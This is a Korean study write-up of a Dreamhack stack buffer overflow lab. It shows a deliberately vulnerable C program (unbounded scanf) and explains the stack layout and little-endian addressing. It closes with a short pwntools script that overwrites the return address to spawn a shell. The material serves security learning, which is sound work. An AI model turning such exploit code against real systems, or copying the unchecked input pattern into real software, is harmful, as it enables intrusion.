분석

취약점 분석

 

<Return Address Overwrite 실습 예제>

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};
  execve(cmd, args, NULL);
}
int main() {
  char buf[0x28];
  init();
  printf("Input: ");
  scanf("%s", buf);
  return 0;
}

scanf("%s", buf);에 취약점이 존재한다.

입력의 길이에 제한을 두지 않기 때문에 버퍼 오버플로우 발생 가능성이 있다.

scanf외에도 strcpy, strcat, sprintf도 비슷한 문제점이 있으며 버그를 방지하려면 입력 데이터의 길이를 지정하는 strncpy, strncat, snprintf 등을 사용하는 것이 바람직하다.

위 예제는 scanf("%s", buf);로 입력을 받기 때문에 입력을 길게 준다면 함수의 반환 주소를 덮어쓸 수 있을 것이다.

 

 

 

💡 C/C++의 문자열 종결자(Terminator)와 표준 문자열 함수들의 취약성

더보기

C계열 언어에서는 널바이트(“\x00”)로 종료되는 데이터 배열을 문자열로 취급하며, 문자열을 다루는 대부분의 표준 함수는 널바이트를 만날 때까지 연산을 진행한다.

예를 들어, char *strcpy(char *dest, const char *src)은 src배열의 첫 번째 인덱스부터 널바이트가 저장된 인덱스까지 참조하여 dest에 값을 복사한다.

여기서 만약 src에 널바이트가 없다면 문자열 함수는 널바이트를 찾을 때까지 배열을 참조하므로, 코드를 작성할 때 정의한 배열의 크기를 넘어서도 계속해서 인덱스를 증가시키게 된다.

이때 참조하려는 인덱스 값이 배열의 크기보다 커지게 되는데 이러한 현상을 Index Out-Of-Bound(OBB)이라고 하고, 해당 버그를 발생시키는 취약점을 Out-Of-Bound(OOB)취약점이라고 부른다.

OOB는 심각한 보안 취약점 중 하나로, 해커는 이를 이용하여 프로그래머가 의도하지 않은 주소의 데이터를 읽거나 조작할 수 있다. 이를 방지하기 위해 개발자는 입력의 길이를 제한하는 문자열 함수를 사용해야 하며, 문자열을 사용할 때는 반드시 해당 문자열이 널바이트로 종결되는지 확인해야 힌다.

 

 

 

 

 

트리거(trigger)

: 발견한 취약점을 발현해서 확인해보는 행위

 

취약점 분석을 위해 일부러 오류를 발생시키고 core파일을 생성하려고 했다.

그런데 core파일이 생성되지 않았다.

ulimit -c unlimited 명령어를 실행해도 생성하지 않아 gdb로 직접 스택을 확인하기로 했다.

드림핵과 똑같이 64자리의 문자를 입력하고 끝까지 실행해봤다.

main이 반환되는 시점에 입력 문자열의 일부가 스택에 남아있는 것을 볼 수 있다.

우리가 실행하고자 하는 함수의 주소를 반환 주소 자리에 적절하게 덮어쓰면 실행흐름을 조작할 수 있을 것이다.

 

 

 

 

 

익스플로잇

스택 프레임 구조 파악

rsp를 0x30만큼 빼서 buf를 할당해주고 있다.

 

 

 

 

 

get_shell() 주소 확인

0x4006aa

 

 

 

 

 

페이로드(Payload) 구성

 

현재 스택 프레임의 상황은 buf(48) + SFP(8) + ret(8)이므로 0x38만큼을 앞쪽에 채우고

나머지 0x8만큼의 길이를 반환 주소 자리에 오게끔 만들어야 한다.

 

 

 

 

 

엔디언 적용

리틀 엔디언 데이터의 Most Significant Byte(MSB; 가장 왼쪽의 바이트)가 가장 높은 주소에 저장
빅 엔디언 빅 엔디언에서는 데이터의 MSB가 가장 낮은 주소에 저장

 

ex) 0x12345678

 

드림핵 커리큘럼에선 리틀 엔디언을 사용하는 인텔의 x86-64아키텍처를 사용하므로 리틀 엔디언을 적용해서 페이로드를 작성하면 된다.

get_shell()의 주소는 0x4006aa이지만 리틀 엔디언을 고려하면 \xaa\x06\x40\x00\x00\x00\x00\x00으로 전달되어야 한다.

 

 

 

 

 

익스플로잇 실행

from pwn import *

p = process("./rao")
context.arch = "amd64"

payload = b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ", payload)
p.interactive()

 

 

 

 

 

복사했습니다!